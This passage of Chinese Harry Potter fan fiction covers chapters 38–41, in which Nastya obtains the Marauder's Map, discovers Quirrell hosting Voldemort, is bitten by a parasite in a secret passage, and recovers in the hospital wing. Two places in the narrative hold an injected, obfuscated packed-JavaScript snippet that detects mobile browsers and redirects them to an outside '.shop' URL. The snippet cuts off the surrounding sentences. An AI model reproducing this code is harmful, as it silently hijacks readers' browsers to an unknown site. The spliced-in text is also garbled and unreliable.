邓布利多教授只是轻轻摇了摇头:“至少目前而言,他还很虚弱。” 目前。 只是目前。 邓布利多教授看出了她的低落,再次用一种鼓励的语气,请她继续品尝自己准备的红茶:“伊丽莎白对你的教育很成功,这让我不禁开始反思自己处理这件事的态度。” “什么?”娜斯缇亚差点被茶水呛到。 “孩子,伏地魔已经消失了十年,”邓布利多教授说,“邪恶的巫师盼望他回来,正义的巫师担忧他回来——但你要知道,更多的人认为,伏地魔已经死了。” “可他怎么可能死呢?”娜斯缇亚说。 “是的,是的。这恰恰是伊丽莎白的高明之处。”邓布利多教授解释道,“她告诉你曾经发生的战争有多么残酷,却不为你编织一个已恢复花团锦簇的世界。” 娜斯缇亚点点头。 从很小的时候,伊丽莎白就一直向她灌输一种思想:她们生活在两场战争之间短暂的和平时期。 “战争迟早还会爆发的,娜缇。”她曾经见过伊丽莎白双目含泪,却坚定地对自己说,“等到那一天降临,注定还会有许多人牺牲。” “为了和平吗?像亚伦那样。” “是的,亲爱的。为了和平。” “我没有要问的了。很抱歉突然打扰您,教授。”娜斯缇亚忽然难受得什么都喝不下了,她跳下椅子。 “偶尔停下思考,和年轻人聊聊天,其实也不错。”邓布利多教授低头搅着自己热巧克力里还没融化的棉花糖,假装没看见娜斯缇亚眼底蒙上的那层水雾,“和你谈话很愉快,娜斯缇亚。” “不过,我也有一个请求。”片刻后,他又抬起头。 “今天的谈话……” 娜斯缇亚心领神会:“不能让第三个人知道,对吗?” 邓布利多教授笑了笑,对她点了点头。 “再会,娜斯缇亚。” “再会,教授。” * 走出校长办公室,娜斯缇亚看见两个令她感到意外的身影。 “你们怎么在这?”她不禁将这句话脱口而出。 “真的是你,娜缇。”弗雷德看起来似乎比她还意外,“我还以为我的眼睛出了问题呢!” 他和乔治轻车熟路地抓走了娜斯缇亚,拐进某条密道。 “你们怎么知道我在这里?”娜斯缇亚困惑道。 “哦,我们本来的计划是去地下教室熬制新的魔药。”乔治说。 “于是我们就想到了你。” 娜斯缇亚翻了个白眼。 “但在找你名字的时候,却惊讶地发现——” “你在校长办公室。” 娜斯缇亚露出一个更加茫然的表情。 乔治神秘地笑了笑:“想知道为什么费尔奇永远也抓不着我们吗?” 娜斯缇亚恍然大悟,向他们伸出了手:“看来你们有秘密法宝。” 弗雷德很大方地从长袍里抽出一块长方形的大羊皮纸,递到她的面前。 “你们什么时候的新发明?” 弗雷德和乔治乐不可支。 “不,不是我们,我们只是两个幸运的使用者。” “你们从哪拿到的?”娜斯缇亚将羊皮纸翻来覆去地检查,没发现任何缺口和漏洞。 “费尔奇的办公室。”乔治很诚实地回答了她的问题,“我敢说他压根就不知道该怎么用这个东西。但是我们——发现了它的妙处。” 弗雷德压低声音,用一种夸张的语气在娜斯缇亚耳边说:“我们找到它的时候,上面写着——‘没收物品,高度危险’。” 娜斯缇亚一点也没被吓着:“看样子你们已经对这个东西很熟悉了。来吧,展示给我看看。”她把羊皮纸递还给乔治,好整以暇地抱起双臂。 乔治拔出魔杖,轻轻敲了敲羊皮纸:“I solemnly swear that I am up to no good。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565583|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 娜斯缇亚甚至还没来得及感慨这道口令的刁钻程度,面前就出现了更加神奇的一幕: 一道细细的墨水像蛛网那样从乔治的魔杖尖端蔓延开,渗入皱巴巴的羊皮纸,最终演变出一张地形图,带标记的小黑点不计其数,星罗棋布地分布在各个角落,有的静止不动,有的明明灭灭地沿着墨线闪动。 娜斯缇亚捧着羊皮纸的下端,踮起脚尖去瞧,惊讶地发现,小黑点上的标记竟然是人名。 娜斯缇亚·格雷、弗雷德·韦斯莱和乔治·韦斯莱正挤在一块,离他们不远的位置,邓布利多教授正在自己的办公室种中踱步。 娜斯缇亚下意识地往黑魔法防御课的教师办公室看去,没发现奇洛的影子。 这时,顶上那一行绿色花体大字吸引了她的注意。 “月亮脸、虫尾巴、大脚板和尖头叉子……专为魔法恶作剧者提供帮助……隆重推出……活点地图?”她将上面的内容依行念了出来。 “你们是怎么发现它的用法的?”娜斯缇亚十分不可思议地问。 换做是任何一个人,都会把这张地图当作一张废羊皮纸。 “感谢这四位高尚的前辈,”弗雷德心情大好,却用一副再庄严不过的口吻说,“为帮助新一代违纪学生不知疲倦地工作。” “所以,猫女巫,你刚刚在校长办公室做什么?”显然,乔治还没忘记他们此行的目的。 “哦——”娜斯缇亚说,“不算什么大事。” “不算什么大事?”弗雷德和乔治对视一眼,异口同声道,“我们几乎没在校长办公室里看见过学生的名字。” “这是一个秘密。”她坚持不肯吐露半个字。 双胞胎都知道,对不愿意分享的事情,娜斯缇亚向来守口如瓶。 “看起来,我们的格雷小姐参与了一件非常重大的事情。”乔治决定不在这件事上继续纠结,“那么,要不要来帮忙?我们可以把地图借给你做交换。” “一份魔药,换一天的使用权。”弗雷德飞快地说。 娜斯缇亚警惕地捕捉到他使用的量词:“一份?” “好吧,”他改口道,“一瓶——” “成交。”话音未落,娜斯缇亚满口应下。 弗雷德立刻把后半句补上:“……换半天的使用权。” ? 娜斯缇亚作势要走。 “一天就一天。”乔治干脆直接把地图拍进了她怀里,“走吧。韦斯莱伟大的恶作剧事业需要一位聪慧又热心的女士帮忙。” 娜斯缇亚立刻挽住乔治的胳膊,得意洋洋地看向弗雷德:“你同意吗?另一位韦斯莱先生?” 弗雷德没说愿意,也没说不愿意。他默不作声地伸长手臂,一下就将地图重新灵巧地抽了出来。 “嘿!” “你还没学会复原的口令呢。”弗雷德抽出魔杖,冲娜斯缇亚眨眨眼,“稍安勿躁,女士。” 弗雷德像乔治那样,将魔杖点在羊皮纸上,轻快地说:“Mischief managed。” 接着,他把迅速消退墨迹、恢复空白的地图叠好,放进娜斯缇亚的口袋:“收好,千万别让你的斯莱特林同学看见这个东西。”他用一种意有所指的口吻说道。 “那……”她的格兰芬多朋友呢? 弗雷德摸着下巴想了想:“如果有必要的话。” 娜斯缇亚点点头。 “可是,你们到底是怎么发现它的使用方法的?”走出两步,她不死心地问。 弗雷德和乔治对视一眼,默契地回答道: “这是一个秘密。” 39.第 39 章 弗雷德和乔治嘴上说着只借给娜斯缇亚三天的地图使用权,实际上,一直等到考试结束,他们俩也没来把地图拿回去。 但娜斯缇亚忙得没时间去看。 哪怕她一直把地图随身携带着。 除了魔法史,其他课程的考试内容都令娜斯缇亚感到十分轻松。 偏偏魔法史的考试被安排在了最后一门。 甚至,艾丽娅听见她的抱怨后,露出一个邪恶的笑容:“你完了,娜缇,魔法史在O.W.L.考试也是最后一门。” 杰玛一边抓紧时间看书,一边把她的脑袋拧了回去:“我希望你还记得自己下午也有考试。” 娜斯缇亚笑了起来,不断往她们的盘子添加她们喜欢吃的食物。 她觉得自己感受到了杰玛的乐趣。 但这并不影响她在吃饱之后打哈欠:“真想回寝室睡一觉。” “别睡,”艾丽娅拍拍她的脑袋,“抓紧时间再看看你的魔法史。” 考试周,许多学生都选择牺牲自己的休息时间,争分夺秒地复习,以此在考试中换取更多分数。 尤其是五年级和七年级。 庭院到处是人,娜斯缇亚只看了一眼,就决定找一间地下教室复习。 她在走廊遇见塞德里克。 “嗨,娜斯缇亚。”他似乎一点也没受到考试的荼毒,笑容还是这么阳光灿烂。 “嗨,”娜斯缇亚抱着笔记本,空出另一只手和他打招呼,“你们下午考变形术?” “占卜。”塞德里克示意自己的朋友先回休息室,“这是一门复习也无用的课程。你呢?” “魔法史。” 塞德里克还记得她的魔法史学得不大好,眼神里流露出一丝同情:“如果是变形术的话,也许我还能帮帮你。” “谢谢你的好心,”娜斯缇亚避之如蛇蝎,生怕他提出要帮自己划重点,“赫敏和西奥已经帮我画了一大堆重点,我的脑袋承受不起更多了。” “那就不浪费你时间了,”塞德里克的笑容更加灿烂,“下午温室见。” 娜斯缇亚点点头:“下午见。” * 魔法史的考试内容比娜斯缇亚想象得要简单一些——仅仅针对赫敏画的重点而言。 因为她甚至把一六七三年狼人行为准则的具体内容也圈进了知识点。 等等,是一六七三年还是一六三七年?该死的,她肯定记反了。 选择题又错一道。 有些事件的年份实在太容易混淆了,或许她得承认自己对数字似乎有些不够敏感。 不管怎么说,考试已经结束了,就算这门课她只拿了个A,也在承受范围之内。 娜斯缇亚脚步送快地向温室走去。 事实上,今天其实并不是课后小组的学习时间。 但娜斯缇亚约了汉娜和塞德里克,一起到温室后面的某间小房子熬制驱虫的药剂。 他们选种的中国咬人甘蓝害了病,叶片上长出了大片的黄色斑点。 厄尼一直对这件事幸灾乐祸,反复强调道:“我早就告诉你们,不要选这个难伺候的东方甘蓝。” 娜斯缇亚对此充耳不闻。在考试周之前,她就准备好了所有要用的材料。 这间小房子是斯普劳特教授特地批给他们使用的,但她自己平时只在这里配一些常用的试剂。 “嗯……首先,我们需要把这块火龙蛋壳灼烧成炭黑色、一掰就碎的状态,然后磨成粉末。”娜斯缇亚说,“记住,一定要保持粉末颗粒的均匀。” “火龙蛋壳?这是真的火龙蛋壳?”汉娜瞪大眼睛,“这一定非常贵……娜缇,你是从哪弄来的?” “斯内普教授的办公室。”娜斯缇亚飞快地说,还冲她调皮地眨了眨眼。 “梅林啊!”汉娜显然误会了什么。她的瞳孔震动得厉害,迅速撂下手里的钵杵。 “你来捣这些薄荷和柠檬叶吧。”娜斯缇亚忍俊不禁,“一比一混合在一起,要三份。” 汉娜小鸡啄米般点点头。 “格雷教授,那我呢?”塞德里克不知什么时候已经站到了她的身后。 “嗯……好的,迪戈里先生,”娜斯缇亚回想着笔记上的内容,“我们还需要三份两耳草的汁液用来延缓虫卵的孵化,每份需要十五枝,叶片和根茎都要加入,不要穗;九只蟑螂的触角和翅膀,以及……三份弗洛伯毛虫黏液,每份半茶匙。” “你比较想做什么工作?”娜斯缇亚仰头看他。 塞德里克接过茶匙:“我宁愿去刮弗洛伯毛虫的黏液。”也不想去剪蟑螂的触角和翅膀。 事实上,他原本没必要来,他早就拿到了菜地的使用权。 但这位优等生显然对自己有着更高的要求。 “好吧。”娜斯缇亚点点头,从罐子里倒出九只死蟑螂,“那我负责蛋壳和蟑螂。” 即使他们的动作足够快,三份药剂同时进行熬制,最后依然花了好几个小时。 “梅林啊,我压根没注意到时间,晚餐估计早就结束了。”娜斯缇亚拉开厚厚的窗帘往外一看,发出一声惊呼。 汉娜有气无力地说:“要不我们明天再来吧?” “不行。”娜斯缇亚冷酷地拒绝了她的请求,“我刚刚检查过一次植物的状态,多拖一个晚上都会让它们变得更糟糕。” “我猜到会有这种情况,就请萨米帮我们预留了一些晚餐。”塞德里克不知从哪里变出一个餐篮,“听说今天的菜单是烤鸡、蛋奶馅饼、苹果挞什么的,我还没掀开看过。也许你们会喜欢?” “塞德里克,你简直是天才!”娜斯缇亚和汉娜异口同声地说。 塞德里克笑了笑,揭开餐篮上盖着的一大张手帕。 “哦,萨米真贴心,还施了保温咒。”娜斯缇亚摸到温热的烤鸡和凉丝丝的南瓜汁,忍不住夸赞。 “那我们吃完之后再继续吧。”汉娜说。 * 驱虫药剂是一种黄褐色的稠状液体,当植物害病严重、出现腐烂的时候,需要找到虫卵堆积的位置,将药剂涂抹在上面,确保虫卵被覆盖,无法继续孵化害虫。 如果只是轻微产生黄斑,就需要找来一个喷壶,药剂和水二比一混合,喷洒在叶片表面。 这些任务的工作量比娜斯缇亚想象得还要大。她们借着魔杖的光,努力分辨每一株制物的病状,等最后一株植物也被喷上药剂,天空已经亮起不计其数的星星。 “太棒了!终于结束了。”汉娜欢呼一声,挽着娜斯缇亚的手臂问她明天的安排。 “我要睡到自然醒。”娜斯缇亚斩钉截铁地说。 松快地聊着天,三道身影朝禁林的方向慢慢走去。 马上就要放假了,她们要把驱虫药剂交给海格,请他在假期的时候帮忙照顾这些还很脆弱的植物。 也许是考完魔法史,解决了一道心头大患,娜斯缇亚的情绪一直很放松:哪怕刚刚熬制药剂时没控制好温度,险些让蛋壳粉末在坩埚里糊成一团,她的心跳都没有漏掉哪怕一拍。 但海格接下来的一番话,直接把她的心脏送上了云霄飞车。 “娜缇!你怎么还在这里?” “我们不是约好了今晚要过来把驱虫药剂交给你吗?”娜斯缇亚一听他这个语气,就觉得大事不妙,“发生什么事了?” “下午的时候,哈利他们来找我,问了一些有关那晚的事……” “哪晚?” 海格见娜斯缇亚一脸茫然,把她拉到一边,语气不安地说:“就是我得到诺伯的那个晚上。我告诉他们,那个把龙蛋给给我的人对路威——也就是三头狗的事情有些兴趣,当然啦,能把路威管得服服帖帖算得上一件了不起的事,是不?但我这张嘴真糟糕,我不小心把那个秘诀给说了出来。” 娜斯缇亚觉得自己的脑袋在这一刻变成了浆糊。 “什么秘诀?哪个秘诀?海格,你指的是……把秘诀告诉了给你火龙蛋的人,还是告诉了哈利?”她语气艰涩地问。 “告诉一个在学校外面的人怎么驯服三头犬有什么危害呢?”海格急切说,仿佛娜斯缇亚没听懂他的暗示,“哦,娜缇,我想拜托你去看看你的朋友们,要是他们今晚又想到走廊那一探究竟,那可怎么办才好?我知道,只有你能劝动他们。” 他又说:“我以为哈利他们会去找你……我告诉他们你在温室那里。” “不,没有人来找我。”娜斯缇亚深吸了一口气,“我去找他们。现在就去!” 她甚至没来得及和等在屋里的塞德里克和汉娜打一声招呼,就朝着城堡飞奔而去。 娜斯缇亚觉得自己的大脑似乎被分成了两部分:其中的一部分仿佛成了坏掉的收音机,嗡嗡作响,嘲笑她再一次被朋友们抛下;另一部分却比考试时转动得还要快:把火龙蛋拿给海格的人究竟是谁?奇洛?伏地魔本人?或者,学校里还有隐藏在暗处的伏地魔旧部。 最终,这两个想法都 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但娜斯缇亚不会傻到以为,他们只是像其他人那样待在休息室放松身心,享受着考试后第一个无所事事的夜晚。 光是这三个家伙聚在一起,一动不动地坐在休息室的角落,就已经够惹人生疑了。 也许他们在等待……等到宵禁的时候,夜深人静,他们就可以披上隐身衣…… 娜斯缇亚毫不怀疑他们今晚会去检查魔法石的安危。 他们怎么可能在得知“伏地魔也许比他们更早得知哄睡路威的办法”后,还安之若素地坐在一块谈天说地? 娜斯缇亚定了定神,又在羊皮纸上找到第二个名字。 三楼,黑魔法防御课的教师办公室。 奇洛还在那里。 等等…… 他的标记上为什么有一点重影? 娜斯缇亚以为自己看错了,可是那个一动不动的黑点的确与众不同。 她把魔杖凑得更近,照亮了那行“奎里纳斯·奇洛”之下,被字体覆盖着的另一个,颜色更浅的名字。 “汤姆……里德尔……?”娜斯缇亚颤抖着念出那个名字,又死死地捂住了自己的嘴唇。 她将那一小块区域反复看了十几遍,确定那里只有一个黑点。 奇洛真的把伏地魔带进了霍格沃茨。 她必须马上把这个消息告诉邓布利多! 娜斯缇亚咬紧牙关,迅速将目光移向校长办公室。 这一眼,却令她如堕冰窟。 邓布利多教授的名字并不在上面。 她不死心地在城堡的各个角落都搜寻了一遍,可是没有。 到处都没有。 娜斯缇亚不得不设想到最坏的情况:伏地魔让人支走了邓布利多教授,就等着今晚动手;而哈利他们也得知了这件事。 现在,比起魔法石的安危,她更害怕自己那三个勇敢又善良的朋友贸然前去四楼送死。 娜斯缇亚指望着在城堡内找到几个说得上话的格兰芬多学生,让对方帮忙给他们捎句话。 也是在这一刻,她才发现—— 不知不觉中,居然已经到了宵禁的时间。 一层冷汗爬上她的后背。 ‘冷静,冷静,娜斯缇亚。’ 娜斯缇亚告诫着自己,逼迫自己在短时间内想到解决办法。 她一边思考,一边紧盯着格兰芬多公共休息室的那三个名字。 幸好,休息室现在正是人多的时候,他们暂时还不会轻举妄动。 娜斯缇亚决定避开费尔奇,先去办公室找斯内普教授,要他到四楼的走廊拦住他们——她当然不会去请麦格教授,这也许只会让格兰芬多再次损失150分。 至于斯莱特林……? 这很难说。 然而,计划在第一步执行时就出了大问题。 费尔奇正在一楼徘徊。 更糟糕的是,他在向这间教室的方向走来。 洛丽丝夫人的名字在他前面一闪一闪。 娜斯缇亚握着魔杖的掌心渗出了汗水。 她必须赶紧离开这个地方。 她低头看向地图,希望能在这间教室找出一条密道来。 还真有。 获得了肯定的答案,娜斯缇亚的表情却一瞬间变得有些扭曲: 那条密道……通往黑魔法防御课教室。 40.第 40 章 娜斯缇亚悄悄地挪动步子,往身后的柜子移去。 她别无选择:要是在这里被费尔奇抓到,那才是真的完蛋了。 她再也不会觉得夜游这件事有什么魅力了。 这种事再发生哪怕一次,她一定会患上心脏病。 她小心翼翼地拉开柜门,猫着腰钻进去,又重新掩上。 费尔奇的声音停在了门口。 “亲爱的,这里藏着不听话的坏学生,是吗?”费尔奇阴恻恻的声音隔着一道门,清晰地传进了娜斯缇亚的耳朵里。 她把最后一丝柜子缝合上,点亮魔杖,再次捧起地图。 奇洛离开了他的办公室,往四楼的方向去了。 这个发现让娜斯缇亚汗毛倒立。 与此同时,门外传来了推锁的声音。 娜斯缇亚毫不犹豫地转身,向密道深处走去。 迈出几步后,面前出现了一道极其陡峭的台阶。 显然,这个密道弗雷德和乔治不太常用——一楼到二楼有什么爬密道的必要吗? 石阶的缝隙因为太过阴湿,已经长满了青苔。 娜斯缇亚收好羊皮纸,把魔杖叼在嘴里。 她将口袋里的龙皮手套拿出来穿上,咬咬牙开始攀爬。 就算费尔奇追到这里,也绝不可能捉得住她了。 只要到了二楼,就可以通过之前走过的密道去地下教室。 娜斯缇亚不记得自己爬了多久。 这道该死的台阶几乎是笔直的,不仅布满了黏答答的青苔,甚至还有一些奇形怪状的虫子出没。 她害怕自己摔下去,压根不敢乱动,更不敢松开手,以至于爬到一半的时候,感觉脖子似乎被什么黏糊糊的东西咬了一口。 好不容易爬到平地上,还没来得及喘口气,娜斯缇亚就绝望地发觉自己又一脚踏进了奇洛布下的魔障。 面前是一个陌生的房间,不远处,奇洛背对她,站在一面镜子前。 厄里斯魔镜! 娜斯缇亚的心中闪过了千百种念头。其中,占据最大一块位置的,无疑是圣诞假期的那个夜晚,邓布利多教授对哈利说的话。 ——“如果你哪天碰巧再看见它,你要有心理准备。” 会是今天吗? 邓布利多教授难道早就想让哈利去……? “又是你……”奇洛开口了。娜斯缇亚这回清楚地看见了对方的脸,“格雷小姐,你要是清楚上一次是主人仁慈地宽恕了你的冒犯,就不应该一而再再而三地挑衅我的底线。” 他说话的语速又恢复成之前独自在办公室时那个样子了。 “你究竟是谁?”娜斯缇亚忍不住问。 奇洛冷若冰霜的脸上裂开了一道缝隙。他眼里似乎闪过了一丝困惑的情绪:“我是奎里纳斯·奇洛……我的主人是最伟大的巫师……” 然而下一秒,一道娜斯缇亚曾经听过的声音,自他身后飘了出来:“格雷小姐,我知道你会故地重游。” “你识破了梦魇咒……是谁教会你这些?” 就是这个声音。 娜斯缇亚悚然。 这个声音曾经对自己施出了钻心咒。 他居然是…… 这两个人难道在共用一个身体吗? “真可怜,你在发抖吗?想知道我是怎么附在奇洛身上的?”那道声音用一种愉悦的声调继续说道,“我可以告诉你……面对面地……” 娜斯缇亚握住冰凉的、不住颤栗着的手臂。 她不能在这里跟他耗下去。 她还站在台阶边上呢,要是他再给自己来一个钻心咒就完了。 她的脑袋一定会像西瓜那样摔得四分五裂。 想到这,娜斯缇亚飞快地抽出魔杖,声音颤抖,却干脆利落地念出咒语:“Excito!” 奇洛十分惊诧:“主人!她……” 娜斯缇亚不知道他究竟说了什么。 脱离魔障后,她捂住胸腔内因劫后余生疯狂跳动的心脏,腿一软跌坐在地上。 平复呼吸后,娜斯缇亚脱下手套,再次展开地图。 她的名字正夹在两间教室的中间。 依照地图给出的咒语,娜斯缇亚打开了墙后一道隐藏的门(感谢梅林,出口方向朝着另一间教室),迅速溜进走廊。 躲进教室后,她从口袋掏出地图,打算检查一遍地图上各个人物的位置。 脖子刚刚被黏上的地方开始发痒了,还有些刺痛。 娜斯缇亚忍不住挠了挠,摊开手掌时,一点点血丝混杂在黏液里。 ‘脏死了。’她立刻收回手。 娜斯缇亚努力地忽视了那点不适,在地图上准确地找到四楼走廊。 她最不愿意见到的、最可怕的事情发生了: 那三个熟悉的名字已经离开了休息室。 但他们的标识,不管是赫敏、罗恩、哈利,甚至奇洛,都无法在地图上被找到。 四楼走廊中空空如也,仿佛连路威也不存在。 门后到底是什么地方? 那里也许新建了一个密室,而这四位制作地图的前辈从来没有见过。 自然,地图上也不会显示。 但不管那是个什么样的地方,里面是什么样的构造,奇洛和伏地魔就在那里,等着他们自投罗网。 娜斯缇亚一刻也不敢再耽搁,最后确认一遍斯内普教授的的确确就在办公室内后,把羊皮纸复原,收进了长袍内侧的口袋。 她钻进密道,沿着那条宽敞的楼梯向下走,一路奔向地下教室。 * 娜斯缇亚怎么也想不到,来霍格沃茨不到一年的时间,这已经是她的第二次夜游。而且这次竟敢找到自己的院长头上。 简直是胆大包天。 她第一次在斯内普教授脸上看出一丝错愕的情绪。 当然,他的咆哮还是一如既往地令人心惊胆战:“谁允许你宵禁的时候还在城堡里晃来晃去?” “现在,马上回你的寝室去!别被费尔奇发现。” “教授,您听我说,”娜斯缇亚却顾不上这些了,“奇洛把邓布利多教授支走,带着伏地魔去了四楼的走廊偷魔法石,哈利他们为了阻止他,已经赶过去了!” 斯内普教授的脸颊似乎在狠狠地抽动。 可娜斯缇亚只是哀求着,重复一遍:“教授,我没有撒谎。您要是再不去,他们会死在那里的!” 斯内普的目光一瞬也不眨地落在娜斯缇亚的脸上,直视着她的眼睛,仿佛要将她看穿。 娜斯缇亚本能地生出一丝抵触的情绪,但那种古怪的感觉转瞬即逝,让她找不到源头。 伤口又开始发痒了,她忍不住蹙眉抓了抓。 因为她的动作,斯内普分了分神。很快,他脸色一变。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590100|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他钳住娜斯缇亚的下颌,仔细检查了一遍她脖子上的伤口,才甩开手,气急败坏道:“白痴,你的脑袋是和波特的做了交换吗?” “什……?”娜斯缇亚忽然觉得脑袋转得很慢,一阵阵地放空,只是有些迷茫地看着面前的教授。 脑海里似乎闪过了一个答案,但又只是昙花一现,娜斯缇亚没来得及捉住,它就在纷乱的思绪中消散了。 “如果你想让寄生虫钻进自己的脑子,就尽情地愣在原地。”斯内普教授冷冷地说完,推开门大步向外走去。 娜斯缇亚紧跟着他,却不知为何开始感到一阵头重脚轻。 她的脑袋昏昏沉沉,却没忘记思考一件重要的事: 她不能睡,赫敏她们还在走廊禁区…… “教授,她们……”她忍不住开口,气若游丝。 “他们能有什么事?说不定连第一关都没过去,已经晕在密室里了。”斯内普冷笑一声。 他终于施舍般回头看了娜斯缇亚一眼,单手拎起她的衣领,像一阵龙卷风,直接刮到医疗翼门口。 “庞弗雷女士,这里有个学生需要你尽快医治。”斯内普把这句话和手里已经开始发热的蠢学生一起丢下,大步流星地往楼下赶去。 这就是娜斯缇亚最后的记忆。 * 再次睁开眼的时候,娜斯缇亚发现自己正躺在医疗翼的床上。 熟悉的、动弹不得的无力感。 令她稍感欣慰的是,这里除了她,一个人也没有。 这至少能证明赫敏他们没事。 “你终于醒了,格雷小姐。”庞弗雷女士从办公室走出来,疲惫的脸上露出一丝笑容,“我差点要把你送去圣芒戈,水滴线虫的感染是十分要命的。” “圣芒戈?!”娜斯缇亚感到一阵胆战心惊,“可是,庞弗雷女士,我在书上看到过,被水滴线虫感染的人,只要在半个钟头内得到妥善处理,就不会有太大问题。” 水滴线虫是一种吸血虫,它们大多生长在阴暗潮湿的角落,天生携带着一些致命的病毒。 水滴线虫的身体很小,不易被察觉,但口器十分锋利,能一下咬穿人体的肌肤。感染者的思维和行动能力都会受到病毒的影响,严重时会休克而死。 “本来是这样的,格雷小姐,”庞弗雷女士说,“但很不幸,这只线虫死的时候身体一半还留在外面。为了把它完整地取出来,我费了一番功夫。” “……” 她这辈子也不想再走不熟悉的密道了。 “我这次睡了几天?”她又问。 “今天是第四天。”庞弗雷女士端来一杯温水,又量了量她的体温,“恢复得不错,明天检查过后,你就能回去了。你的朋友们送来了好些礼物,但我不认为你现在适合吃那些东西,所以帮你收起来了。明天你可以来办公室拿走。” 娜斯缇亚回过头,看见床头柜放着一小堆贺卡。 她随手拿起一张,感到些许莫名:“谁送的贺卡?” “今天是年终宴会。”庞弗雷女士送来一杯温水、一小杯冰凉的药剂和一片蓝色的、椭圆形的小药片。 “斯莱特林赢得了学院杯?” 娜斯缇亚更困惑了:就算她这学期给学院加了一些分,也不至于受尊敬到这种程度吧? 庞弗雷女士却淡淡地说:“由于你的朋友们的冒险,邓布利多教授为格兰芬多加了分。” 41.第 41 章 “这么说,格兰芬多获得了学院杯?”娜斯缇亚足足呆了五秒钟,才找到自己的声音。 她觉得自己是有些失望的。 但同时她也认为,这是哈利他们应得的。 “当然不,”庞弗雷女士忽然笑了笑,“你们仍然是第一,就算没有你的加分。” “什么?”娜斯缇亚快被她搞糊涂了。 “我还以为你会立刻明白我的意思呢,格雷小姐,”庞弗雷女士露出一个稍显遗憾的表情,“很显然,因为你的缘故,你们的校长给斯莱特林也加了分数。” “我?为什么?”她甚至都没帮上什么忙。 “孩子,你还没有意识到吗?”庞弗雷女士惊讶地看着她,“好吧,让我来告诉你。你面对的是有史以来最冷酷无情的黑巫师,但你的表现冷静到连最刻薄的斯内普都挑不出毛病。要知道……”她忽然噤声了。 “可是,邓布利多教授是怎么知道的?” 她明明都晕倒了。 “这个,也许你要去请教你们的院长。”庞弗雷女士说。 娜斯缇亚只回想了片刻,就什么都搞明白了。 ——斯内普教授对她使用了摄神取念。 “当然,我希望你不要把这种奖励看成是某种鼓励。”庞弗雷女士用一种不大赞同的口吻说,“我必须得说,这对你们这些小巫师是很有好处的。” “别想太多,喝完药就继续睡一觉吧。”她打了个哈欠,继续说,“真希望新的学年别在医疗翼再见到你。” 娜斯缇亚乖巧地点点头:“晚安,庞弗雷女士。” * 也许是休息了太多天,娜斯缇亚喝完药之后一点困意也没有,只好靠在床头,翻看那些无聊的贺卡。 难道就没人给她送点小说吗? 不知过了多久,她才在百无聊赖间猛然想起一件事:弗雷德和乔治借给她的地图! 娜斯缇亚在床边找到自己被叠放整齐的长袍。 庞弗雷女士似乎用咒语把它清理了一遍,万幸,她有惊无险地在内侧口袋里找到了那张羊皮纸。 娜斯缇亚用口令展开地图。 邓布利多教授正在他的办公室踱步,而奇洛的名字已经消失了。 娜斯缇亚相信,这次他不可能再藏在某个密室里,而是真真正正地离开了霍格沃茨。 不管是以什么形式。 视线下移,她看见几个熟悉的名字:赫敏、罗恩和哈利正在向医疗翼的方向走来。 娜斯缇亚赶紧收起地图。 很快,门口传来一阵窸窣的响动。 赫敏一把掀开隐身衣,奔到娜斯缇亚面前:“娜缇!你果然醒了!” 果然? 娜斯缇亚疑惑地眨眨眼,却在看见赫敏手腕上那串手链时了然:那只连接了她情绪的小猫。 娜斯缇亚摸了摸耳垂,又摸一摸手链上的那只小兔子。 “嘘。”她用气声说,“庞弗雷女士已经睡了。” 赫敏把脑袋埋在她柔软的肚皮上,半天没吭声。 娜斯缇亚不算惊讶地发现,自己居然挺享受赫敏这种自然流露的依赖感。 她就这样向哈利和罗恩打了个招呼,直到察觉到睡衣被一点点沾湿。 娜斯缇亚一时找不到手帕,只好手足无措地低头,用手指接住那几滴滚烫的眼泪:“梅林啊我没事……你别哭……” “都怪我,”赫敏抹着眼泪,断断续续地说,“我应该……先找人把我们的计划告诉你,这样你就不会因为我们跑去找奇洛教授……” 找奇洛教授? 这真是个美丽的误会。 “我们来温室找过你,但到处都没有见着你。”哈利从口袋掏出几张皱巴巴的纸巾,递给娜斯缇亚,“娜缇,你是怎么知道我们去了四楼的?” “哦,我们要熬制药剂,就借用了斯普劳特教授的小屋,”娜斯缇亚捧着赫敏的脸,认真地擦擦她的眼泪,“你们大约没去过那里。” 罗恩咂舌,不大合时宜地插了一句:“熬魔药?考完试的下午?这就是你那天拒绝我们一起去湖边晒太阳的原因吗?” 多亏了他这句话,娜斯缇亚回过神来,问:“我还没问你们呢?你们又怎么会突然跑去海格那里?” “哦,是哈利。”赫敏抹了抹眼睛,“对于火龙蛋的事情,他忽然想到一些不对劲的地方,我们就去找海格求证。却得知他把通过路威的方法告诉了一个故意套话的陌生人……我们现在已经知道了,那个人是奇洛。” “我们本来打算去找邓布利多来解决这件事。”哈利说,“但他被奇洛支走了。” “你似乎对这些一点也不意外啊。”罗恩见娜斯缇亚始终面色平静,有些不服气,“你都知道了多少?” “你们说的这些我都知道,”娜斯缇亚仍然心平气和,道,“我唯一好奇的就是,你们在四楼走廊都经历了什么?” 回答她这个问题的是赫敏:“为了保护魔法石,教授们设下了好几道关卡……第一道是斯普劳特教授的魔鬼网。” “魔鬼网……”娜斯缇亚说,“教授跟我们提到过,我相信这关对你来说一定没什么难度。之后呢?” 她更怀疑的是,这一关对于奇洛教授这种成年人又能有什么危害性? 